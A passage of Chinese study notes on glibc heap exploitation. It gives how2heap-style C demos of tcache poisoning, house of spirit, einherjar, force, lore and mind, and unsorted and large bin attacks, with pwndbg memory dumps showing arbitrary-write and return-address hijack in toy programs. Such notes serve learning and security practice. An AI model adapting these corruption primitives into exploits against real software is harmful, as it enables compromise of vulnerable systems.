0x405270:	0x0000000000404050	0x0000000000404058
0x405280:	0x0000000000000000	0x0000000000000000
0x405290:	0x0000000000000000	0x0000000000000000
0x4052a0:	0x0000000000000000	0x0000000000000000
0x4052b0:	0x0000000000000000	0x0000000000000000
0x4052c0:	0x0000000000000000	0x0000000000000000
0x4052d0:	0x0000000000000000	0x0000000000000000
0x4052e0:	0x0000000000000000	0x0000000000000000
pwndbg> x/20gx 0x405680
0x405680:	0x0000000000000420	0x0000000000000430
0x405690:	0x0000000000000000	0x0000000000000000
0x4056a0:	0x0000000000000000	0x0000000000000000
0x4056b0:	0x0000000000000000	0x0000000000000000
0x4056c0:	0x0000000000000000	0x0000000000000000
0x4056d0:	0x0000000000000000	0x0000000000000000
0x4056e0:	0x0000000000000000	0x0000000000000000
0x4056f0:	0x0000000000000000	0x0000000000000000
0x405700:	0x0000000000000000	0x0000000000000000
0x405710:	0x0000000000000000	0x0000000000000000

释放第二个堆即可通过第一个堆去改任意地址的内容

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x431

Allocated chunk
Addr: 0x405680
Size: 0x430

Allocated chunk | PREV_INUSE
Addr: 0x405ab0
Size: 0x20551

pwndbg> x/20gx 0x405250
0x405250:	0x0000000000000000	0x0000000000000431
0x405260:	0x0000000000000000	0x0000000000020da1
0x405270:	0x0000000000404050	0x0000000000404058
0x405280:	0x0000000000000000	0x0000000000000000
0x405290:	0x0000000000000000	0x0000000000000000
0x4052a0:	0x0000000000000000	0x0000000000000000
0x4052b0:	0x0000000000000000	0x0000000000000000
0x4052c0:	0x0000000000000000	0x0000000000000000
0x4052d0:	0x0000000000000000	0x0000000000000000
0x4052e0:	0x0000000000000000	0x0000000000000000

tcache_poisoning

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	size_t stack_var;
	intptr_t *a = malloc(128);
	intptr_t *b = malloc(128);
    
	free(a);
	free(b);

	b[0] = (intptr_t)&stack_var;
	intptr_t *c = malloc(128);

	assert((long)&stack_var == (long)c);
	return 0;
}

fd实现任意地址读写

创建两个堆再释放掉,进入tcache

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Free chunk (tcache) | PREV_INUSE
Addr: 0x405250
Size: 0x91
fd: 0x00

Free chunk (tcache) | PREV_INUSE
Addr: 0x4052e0
Size: 0x91
fd: 0x405260

Top chunk | PREV_INUSE
Addr: 0x405370
Size: 0x20c91

改第二个堆的fd为目标地址之后再申请即可实现任意地址读写

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x91

Free chunk (tcache) | PREV_INUSE
Addr: 0x4052e0
Size: 0x91
fd: 0x7fffffffdd70

Top chunk | PREV_INUSE
Addr: 0x405370
Size: 0x20c91

tcache_house_of_spirit

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	malloc(1);

	unsigned long long *a; 
	unsigned long long fake_chunks[10]; 
    
	fake_chunks[1] = 0x40; 
	a = &fake_chunks[2];

	free(a);

	void *b = malloc(0x30);

	assert((long)b == (long)&fake_chunks[2]);
}

在栈上伪造一个堆之后释放掉再申请即可申请到伪造的堆,tcache会判断取出堆之后的下标不能为负数,所以要先创建一个堆

先随便创建一个堆

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x21

Top chunk | PREV_INUSE
Addr: 0x405270
Size: 0x20d91

再在栈上伪造一个堆,主要是伪造size

pwndbg> x/20gx 0x7fffffffdd20
0x7fffffffdd20:	0x000000000000000f	0x0000000000000040
0x7fffffffdd30:	0x00007fffffffdd98	0x00000000000000f0
0x7fffffffdd40:	0x00000000000000c2	0x00000000004013ad
0x7fffffffdd50:	0x00007ffff7de59a0	0x0000000000000000
0x7fffffffdd60:	0x0000000000401360	0x00000000004010f0
0x7fffffffdd70:	0x00007fffffffde60	0x00007fffffffdd30
0x7fffffffdd80:	0x0000000000401360	0x00007ffff7a05b97
0x7fffffffdd90:	0x0000000000000001	0x00007fffffffde68
0x7fffffffdda0:	0x000000010000c000	0x00000000004011d6
0x7fffffffddb0:	0x0000000000000000	0x762a1758ffbc0fb4

释放之后再申请即可申请到这个位置实现任意地址读写

pwndbg> bin
tcachebins
0x40 [  1]: 0x7fffffffdd30 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    setbuf(stdout, NULL);

    stack_var[3] = (unsigned long)(&stack_var[2]);

    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    free(chunk_lis[1]);
    free(chunk_lis[0]);
    free(chunk_lis[2]);
    
    malloc(0xa0);
    malloc(0x90);
    malloc(0x90);

    chunk_lis[2][1] = (unsigned long)stack_var;
    calloc(1,0x90);

    target = malloc(0x90);   

    assert(target == &stack_var[2]);
    return 0;
}

该方法是2.272.29下用calloc创建堆时候针对small bin的攻击

创建9个大小属于unsorted bin的堆并全部释放

pwndbg> bin
tcachebins
0xa0 [  7]: 0x405300 —▸ 0x405760 —▸ 0x4056c0 —▸ 0x405620 —▸ 0x405580 —▸ 0x4054e0 —▸ 0x405440 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x405390 —▸ 0x405250 —▸ 0x7ffff7dcfca0 (main_arena+96) ◂— 0x405390
smallbins
empty
largebins
empty

创建一个比释放的堆大的堆使得释放的堆进入small bin

pwndbg> bin
tcachebins
0xa0 [  7]: 0x405300 —▸ 0x405760 —▸ 0x4056c0 —▸ 0x405620 —▸ 0x405580 —▸ 0x4054e0 —▸ 0x405440 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0: 0x405390 —▸ 0x405250 —▸ 0x7ffff7dcfd30 (main_arena+240) ◂— 0x405390
largebins
empty

接着从tcache取了两个堆

pwndbg> bin
tcachebins
0xa0 [  5]: 0x4056c0 —▸ 0x405620 —▸ 0x405580 —▸ 0x4054e0 —▸ 0x405440 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0: 0x405390 —▸ 0x405250 —▸ 0x7ffff7dcfd30 (main_arena+240) ◂— 0x405390
largebins
empty

small bin的最后一个堆fd改成栈上的地址,即目标地址

pwndbg> bin
tcachebins
0xa0 [  5]: 0x4056c0 —▸ 0x405620 —▸ 0x405580 —▸ 0x4054e0 —▸ 0x405440 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0 [corrupted]
FD: 0x405390 —▸ 0x405250 —▸ 0x7ffff7dcfd30 (main_arena+240) ◂— 0x405390
BK: 0x405250 —▸ 0x405390 —▸ 0x7fffffffdcd0 —▸ 0x7fffffffdce0 ◂— 0x0
largebins
empty

由于calloc不会从tcache中取堆,所以用calloc创建一个堆,tcache中有两个空位,此时small bin中的堆会进入tcache,再次用malloc申请即可得到篡改的栈地址

pwndbg> bin
tcachebins
0xa0 [  7]: 0x7fffffffdce0 —▸ 0x4053a0 —▸ 0x4056c0 —▸ 0x405620 —▸ 0x405580 —▸ 0x4054e0 —▸ 0x405440 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0xa0 [corrupted]
FD: 0x405390 —▸ 0x4056c0 ◂— 0x0
BK: 0x7fffffffdce0 ◂— 0x0
largebins
empty

fastbin_dup_consolidate(double free)

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

void main() {
	void *ptr[7];

	for(int i = 0; i < 7; i++)
		ptr[i] = malloc(0x40);
	for(int i = 0; i < 7; i++)
		free(ptr[i]);

	void* p1 = calloc(1,0x40);
  	free(p1);

  	void* p3 = malloc(0x400);
	assert(p1 == p3);

	free(p1);
	void *p4 = malloc(0x400);
	assert(p4 == p3);
}

利用了double freecalloc不会从tcache取堆的原理

填满tcache再释放一个堆到fast bin

pwndbg> bin
tcachebins
0x50 [  7]: 0x405850 —▸ 0x405800 —▸ 0x4057b0 —▸ 0x405760 —▸ 0x405710 —▸ 0x4056c0 —▸ 0x405670 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x405890 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

创建一个属于small bin的堆然后再次释放fast bin里的堆,此时fast bin中的堆被和那个大于small bin的堆合并了

pwndbg> bin
tcachebins
0x50 [  7]: 0x405850 —▸ 0x405800 —▸ 0x4057b0 —▸ 0x405760 —▸ 0x405710 —▸ 0x4056c0 —▸ 0x405670 ◂— 0x0
0x410 [  1]: 0x4058a0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

申请出合并的堆即可申请到那个大的堆了且它并没有被释放

overlapping_chunks(off-by-one)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

int main(int argc , char* argv[])
{
	setbuf(stdout, NULL);

	intptr_t *p1,*p2,*p3,*p4;
    
	p1 = malloc(0x500 - 8);
	p2 = malloc(0x500 - 8);
	p3 = malloc(0x80 - 8);

	memset(p1, '1', 0x500 - 8);
	memset(p2, '2', 0x500 - 8);
	memset(p3, '3', 0x80 - 8);

	free(p2);

	int evil_chunk_size = 0x581;
	int evil_region_size = 0x580 - 8;
    
	*(p2-1) = evil_chunk_size; 
    
	p4 = malloc(evil_region_size);

	memset(p4, '4', evil_region_size);
	memset(p3, '3', 80);

	assert(strstr((char *)p4, (char *)p3));
}

申请三个堆(前两个堆大于tcache),利用第一个堆去修改第二个堆的内容,释放第二个堆进入unsorted bin之后改第二个堆的size为第二个堆和第三个堆的大小之和,再去创建这个大小的堆即可利用这个堆去覆写第三个堆而第三个堆仍然存在

先创建三个堆,并释放第二个堆

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x501

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405750
Size: 0x501
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0

Allocated chunk
Addr: 0x405c50
Size: 0x80

Top chunk | PREV_INUSE
Addr: 0x405cd0
Size: 0x20331

改第二个堆的size位使其覆盖下一个堆,此时已经看到第二个堆包含了第三个堆,再去创建出这个堆即可实现对第三个对的overlap

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x501

Free chunk (unsortedbin) | PREV_INUSE
Addr: 0x405750
Size: 0x581
fd: 0x7ffff7dcfca0
bk: 0x7ffff7dcfca0

Top chunk | PREV_INUSE
Addr: 0x405cd0
Size: 0x20331

poison_null_byte(off-by-null)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>


int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	uint8_t* a;
	uint8_t* b;
	uint8_t* c;
	uint8_t* b1;
	uint8_t* b2;
	uint8_t* d;
	void *barrier;

	a = (uint8_t*) malloc(0x500);
	int real_a_size = malloc_usable_size(a);
    
	b = (uint8_t*) malloc(0xa00);
	c = (uint8_t*) malloc(0x500);
    barrier =  malloc(0x100);
	
    uint64_t* b_size_ptr = (uint64_t*)(b - 8);
	*(size_t*)(b+0x9f0) = 0xa00;
	free(b);
	
	a[real_a_size] = 0;

	uint64_t* c_prev_size_ptr = ((uint64_t*)c)-2;
	b1 = malloc(0x500);
	b2 = malloc(0x480);

	memset(b2,'B',0x480);
	free(b1);
	free(c);
	
	d = malloc(0xc00);
	memset(d,'D',0xc00);
	assert(strstr(b2, "DDDDDDDDDDDD"));
}

2.23,只要堆大小在tcache之上即可

mmap_overlapping_chunks

#include <stdlib.h>
#include <stdio.h>
#include <assert.h>

int main(){

	int* ptr1 = malloc(0x10); 

	long long* top_ptr = malloc(0x100000);
	long long* mmap_chunk_2 = malloc(0x100000);
	long long* mmap_chunk_3 = malloc(0x100000);
    
	mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
    
	free(mmap_chunk_3); 

	long long* overlapping_chunk = malloc(0x300000);
    
	int distance = mmap_chunk_2 - overlapping_chunk;
	overlapping_chunk[distance] = 0x1122334455667788;

	assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}

2.23

house_of_einherjar(off-by-null)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

int main()
{
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

	uint8_t* a;
	uint8_t* b;
	uint8_t* d;

	a = (uint8_t*) malloc(0x38);
	int real_a_size = malloc_usable_size(a);

	size_t fake_chunk[6];

	fake_chunk[0] = 0x100;
	fake_chunk[1] = 0x100;
	fake_chunk[2] = (size_t) fake_chunk; 
	fake_chunk[3] = (size_t) fake_chunk; 
	fake_chunk[4] = (size_t) fake_chunk; 
	fake_chunk[5] = (size_t) fake_chunk; 

	b = (uint8_t*) malloc(0x4f8);
	int real_b_size = malloc_usable_size(b);
	uint64_t* b_size_ptr = (uint64_t*)(b - 8);
    
	a[real_a_size] = 0; 
	size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
	*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

	fake_chunk[1] = fake_size;

	free(b);
	d = malloc(0x200);

	assert((long)d == (long)&fake_chunk[2]);
}

先创建两个堆和一个伪造的堆,第一个堆的大小要是0x?8用来溢出到下一个堆的size位实现off-by-null

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x41

Allocated chunk | PREV_INUSE
Addr: 0x405290
Size: 0x501

Top chunk | PREV_INUSE
Addr: 0x405790
Size: 0x20871
pwndbg> x/20gx 0x7fffffffdd10
0x7fffffffdd10:	0x0000000000000100	0x0000000000000100		#prve_size    size
0x7fffffffdd20:	0x00007fffffffdd10	0x00007fffffffdd10		#fd           bk
0x7fffffffdd30:	0x00007fffffffdd10	0x00007fffffffdd10		#fd_nextsize  bknextsize

改第二个堆的inuse0,即表示上一个堆已经释放,再伪造fake_chunk的大小和第二个堆的size,绕过prve_size == fd->size的检查

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x41

Allocated chunk
Addr: 0x405290
Size: 0x500

Top chunk | PREV_INUSE
Addr: 0x405790
Size: 0x20871

pwndbg> x/20gx 0x405290
0x405290:	0xffff800000407580	0x0000000000000500
0x4052a0:	0x0000000000000000	0x0000000000000000
0x4052b0:	0x0000000000000000	0x0000000000000000
0x4052c0:	0x0000000000000000	0x0000000000000000
0x4052d0:	0x0000000000000000	0x0000000000000000
0x4052e0:	0x0000000000000000	0x0000000000000000
0x4052f0:	0x0000000000000000	0x0000000000000000
0x405300:	0x0000000000000000	0x0000000000000000
0x405310:	0x0000000000000000	0x0000000000000000
pwndbg> x/20gx 0x7fffffffdd10
0x7fffffffdd10:	0x0000000000000100	0xffff800000407580
0x7fffffffdd20:	0x00007fffffffdd10	0x00007fffffffdd10
0x7fffffffdd30:	0x00007fffffffdd10	0x00007fffffffdd10

释放掉之后fake_chunk会和第二个堆合并,再次申请即可得到fake_chunk的地址

house_of_force(top chunk)

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
#include <assert.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
	intptr_t *p1 = malloc(256);
	int real_size = malloc_usable_size(p1);
    
	intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
	*(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;
	
	unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;	
	void *new_ptr = malloc(evil_size);	

	void* ctr_chunk = malloc(100);
	strcpy(ctr_chunk, "YEAH!!!");

	assert(ctr_chunk == bss_var);

}

2.23

house_of_lore(small bin)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <assert.h>

void jackpot(){ fprintf(stderr, "Nice jump d00d\n"); exit(0); }

int main(int argc, char * argv[]){
  intptr_t* stack_buffer_1[4] = {0};
  intptr_t* stack_buffer_2[3] = {0};
    
  void* fake_freelist[7][4];    
  intptr_t *victim = malloc(0x100);
  void *dummies[7];
    
  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);

  intptr_t *victim_chunk = victim-2;

  for(int i=0; i<6; i++) {
    fake_freelist[i][3] = fake_freelist[i+1];
  }
    
  fake_freelist[6][3] = NULL;
    
  stack_buffer_1[0] = 0;
  stack_buffer_1[1] = 0;
  stack_buffer_1[2] = victim_chunk;
  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];
  
  void *p5 = malloc(1000);
  for(int i=0; i<7; i++) free(dummies[i]);
  free((void*)victim);

  void *p2 = malloc(1200);
  victim[1] = (intptr_t)stack_buffer_1; 
  for(int i=0; i<7; i++) malloc(0x100);

  void *p3 = malloc(0x100);
  char *p4 = malloc(0x100);
    
  intptr_t sc = (intptr_t)jackpot;
  
  long offset = (long)__builtin_frame_address(0) - (long)p4;
  memcpy((p4+offset+8), &sc, 8); 
    
  assert((long)__builtin_return_address(0) == (long)jackpot);
}

2.23差不多,就是多了一个从small bin链表进入tcache的操作

先填满tcache并创建一个small bin,再创建一个堆防止合并

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Free chunk (smallbins) | PREV_INUSE
Addr: 0x405250
Size: 0x111
fd: 0x7ffff7dcfda0
bk: 0x7ffff7dcfda0

Free chunk (tcache)
Addr: 0x405360
Size: 0x110
fd: 0x00

Free chunk (tcache) | PREV_INUSE
Addr: 0x405470
Size: 0x111
fd: 0x405370

Free chunk (tcache) | PREV_INUSE
Addr: 0x405580
Size: 0x111
fd: 0x405480

Free chunk (tcache) | PREV_INUSE
Addr: 0x405690
Size: 0x111
fd: 0x405590

Free chunk (tcache) | PREV_INUSE
Addr: 0x4057a0
Size: 0x111
fd: 0x4056a0

Free chunk (tcache) | PREV_INUSE
Addr: 0x4058b0
Size: 0x111
fd: 0x4057b0

Free chunk (tcache) | PREV_INUSE
Addr: 0x4059c0
Size: 0x111
fd: 0x4058c0

Allocated chunk | PREV_INUSE
Addr: 0x405ad0
Size: 0x3f1

Allocated chunk | PREV_INUSE
Addr: 0x405ec0
Size: 0x4c1

Top chunk | PREV_INUSE
Addr: 0x406380
Size: 0x1fc81
pwndbg> bin
tcachebins
0x110 [  7]: 0x4059d0 —▸ 0x4058c0 —▸ 0x4057b0 —▸ 0x4056a0 —▸ 0x405590 —▸ 0x405480 —▸ 0x405370 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x110: 0x405250 —▸ 0x7ffff7dcfda0 (main_arena+352) ◂— 0x405250 /* 'PR@' */
largebins
empty

再在栈上创建一个伪造的free list,将fake_freelist伪造成每0x20就链接到下一个地址,最后0x80不做操作

pwndbg> x/10gx 0x7fffffffdd20
0x7fffffffdd20:	0x0000000000000000	0x0000000000000000
0x7fffffffdd30:	0x0000000000405250	0x00007fffffffdd00
0x7fffffffdd40:	0x00007fffffffdda8	0x00000000000000f0
0x7fffffffdd50:	0x00000000000000c2	0x000000000040190d
0x7fffffffdd60:	0x0000000000405ed0	0x0000000000405ae0
pwndbg> x/10gx 0x7fffffffdd00
0x7fffffffdd00:	0x0000000000000000	0x0000000000000000
0x7fffffffdd10:	0x00007fffffffdd20	0x00007fffffffdc20
0x7fffffffdd20:	0x0000000000000000	0x0000000000000000
0x7fffffffdd30:	0x0000000000405250	0x00007fffffffdd00
0x7fffffffdd40:	0x00007fffffffdda8	0x00000000000000f0
...

small bin中的堆的bk为伪造的free list地址

pwndbg> bin
tcachebins
0x110 [  7]: 0x4059d0 —▸ 0x4058c0 —▸ 0x4057b0 —▸ 0x4056a0 —▸ 0x405590 —▸ 0x405480 —▸ 0x405370 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x110 [corrupted]
FD: 0x405250 —▸ 0x7ffff7dcfda0 (main_arena+352) ◂— 0x405250 /* 'PR@' */
BK: 0x405250 —▸ 0x7fffffffdd20 —▸ 0x7fffffffdd00 —▸ 0x7fffffffdc20 —▸ 0x7fffffffdc40 ◂— ...
largebins
empty

清空tcache再创建一个堆,使得伪造的堆逆向链入tcache,这样再次申请就可以在tcache中申请到栈地址了

pwndbg> bin
tcachebins
0x110 [  7]: 0x7fffffffdcb0 —▸ 0x7fffffffdc90 —▸ 0x7fffffffdc70 —▸ 0x7fffffffdc50 —▸ 0x7fffffffdc30 —▸ 0x7fffffffdd10 —▸ 0x7fffffffdd30 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
0x110 [corrupted]
FD: 0x405250 —▸ 0x7ffff7dcfda0 (main_arena+352) ◂— 0x405250 /* 'PR@' */
BK: 0x7fffffffdcc0 —▸ 0x7fffffffdce0 ◂— 0x0
largebins
empty
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Free chunk (smallbins) | PREV_INUSE
Addr: 0x405250
Size: 0x111
fd: 0x7ffff7dcfda0
bk: 0x7fffffffdd20

Allocated chunk | PREV_INUSE
Addr: 0x405360
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x405470
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x405580
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x405690
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x4057a0
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x4058b0
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x4059c0
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0x405ad0
Size: 0x3f1

Allocated chunk | PREV_INUSE
Addr: 0x405ec0
Size: 0x4c1

Top chunk | PREV_INUSE
Addr: 0x406380
Size: 0x1fc81

house_of_mind_fastbin(arena)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <assert.h>

int main(){
	int HEAP_MAX_SIZE = 0x4000000;
	int MAX_SIZE = (128*1024) - 0x100;
    
	uint8_t* fake_arena = malloc(0x1000); 
	uint8_t* target_loc = fake_arena + 0x30;

	uint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;

	fake_arena[0x888] = 0xFF;
	fake_arena[0x889] = 0xFF; 
	fake_arena[0x88a] = 0xFF; 

	uint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);
	uint64_t* fake_heap_info = (uint64_t*) new_arena_value;

	uint64_t* user_mem = malloc(MAX_SIZE);
    
	while((long long)user_mem < new_arena_value){
		user_mem = malloc(MAX_SIZE);
	}

	uint64_t* fastbin_chunk = malloc(0x50); 
	uint64_t* chunk_ptr = fastbin_chunk - 2; 
    
	uint64_t* tcache_chunks[7];
	for(int i = 0; i < 7; i++){
		tcache_chunks[i] = malloc(0x50);
	}	
	for(int i = 0; i < 7; i++){
		free(tcache_chunks[i]);
	}

	fake_heap_info[0] = (uint64_t) fake_arena; 
    
	chunk_ptr[1] = 0x60 | 0x4; 
    
	free(fastbin_chunk); 
    
	assert(*((unsigned long *) (target_loc)) != 0);
}

通过伪造arenaHEAP_MAX_SIZE、MAX_SIZE、system_mem并申请到fast bin再释放来将一个chunk的内容为一个很大的值

其中需要绕过一个检查,即申请的内存不能大于system_men

if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
              || __builtin_expect (chunksize_nomask (victim)
				   > av->system_mem, 0))
            malloc_printerr ("malloc(): memory corruption");

创建一个0x1000的堆用于伪造arena,由于没有刷新缓冲流所以有一个多出来的堆

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0x405660
Size: 0x1011

Top chunk | PREV_INUSE
Addr: 0x406670
Size: 0x1f991

0x888的位置设置system_men大小为0xFFFFFFFF

0x405ef0:	0x0000000000000000	0x0000000000ffffff

MAX_SIZE的大小创建堆直至满足user_mem < new_arena_value的最多数量,由于mmap_threshold=0x20000所以创建的堆大小为0x1ff00

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0x405660
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0x406670
Size: 0x1ff11

Allocated chunk | PREV_INUSE
Addr: 0x426580
Size: 0x1ff11

Allocated chunk | PREV_INUSE
Addr: 0x446490
Size: 0x1ff11

Allocated chunk | PREV_INUSE
Addr: 0x4663a0
Size: 0x1ff11
...

填满tcache创建一个fast bin,将fake_heap_infoar_ptr给设置成fake_arena并设置fast binnon_main_arena标志位,再全部释放之后即可根据heap_infoar_ptr找到我们的假chunk并更改chunk的内容达到目的

unsorted_bin_attack

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
	volatile unsigned long stack_var=0;

	unsigned long *p=malloc(0x410);
	malloc(500);
	free(p);
    
	p[1]=(unsigned long)(&stack_var-2);
    
	malloc(0x410);
    
	assert(stack_var != 0);
}

2.23,大小大于tcache

large_bin_attack

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
 
int main()
{
    setbuf(stdout, NULL);

    unsigned long stack_var1 = 0;
    unsigned long stack_var2 = 0;

    unsigned long *p1 = malloc(0x420);
    malloc(0x20);

    unsigned long *p2 = malloc(0x500);
    malloc(0x20);

    unsigned long *p3 = malloc(0x500);
    malloc(0x20);
 
    free(p1);
    free(p2);

    malloc(0x90);
    free(p3);

    p2[-1] = 0x3f1;
    p2[0] = 0;
    p2[2] = 0;
    p2[1] = (unsigned long)(&stack_var1 - 2);
    p2[3] = (unsigned long)(&stack_var2 - 4);


    malloc(0x90);
 
    assert(stack_var1 != 0);
    assert(stack_var2 != 0);

    return 0;
}

利用进入large bin插入的堆大小大于上一个堆的大小时会将上一个堆的bkbk_nextsize的堆中写入当前堆的地址来实现改栈上地址为堆地址

while ((unsigned long) size < chunksize_nomask (fwd))
                       {
                         fwd = fwd->fd_nextsize;
		  assert (chunk_main_arena (fwd));
                       }

                     if ((unsigned long) size
		  == (unsigned long) chunksize_nomask (fwd))
                       /* Always insert in the second position.  */
                       fwd = fwd->fd;
                     else
                       {
                         victim->fd_nextsize = fwd;
                         victim->bk_nextsize = fwd->bk_nextsize;
                         fwd->bk_nextsize = victim;
                         victim->bk_nextsize->fd_nextsize = victim;
                       }
					bck = fwd->bk;

先创建一个属于small bin的堆和两个属于large bin的堆,每个堆创建之后都要创建一个堆防止合并

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x405000
Size: 0x251

Allocated chunk | PREV_INUSE
Addr: 0x405250
Size: 0x431

Allocated chunk | PREV_INUSE
Addr: 0x405680
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x4056b0
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x405bc0
Size: 0x31

Allocated chunk | PREV_INUSE
Addr: 0x405bf0
Size: 0x511

Allocated chunk | PREV_INUSE
Addr: 0x406100
Size: 0x31

Top chunk | PREV_INUSE
Addr: 0x406130
Size: 0x1fed1

释放两个堆,再创建一个小于第一个堆大小的堆,使得第一个堆还在unsorted bin但第二个堆进入large bin

pwndbg> bin
tcachebins
empty
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
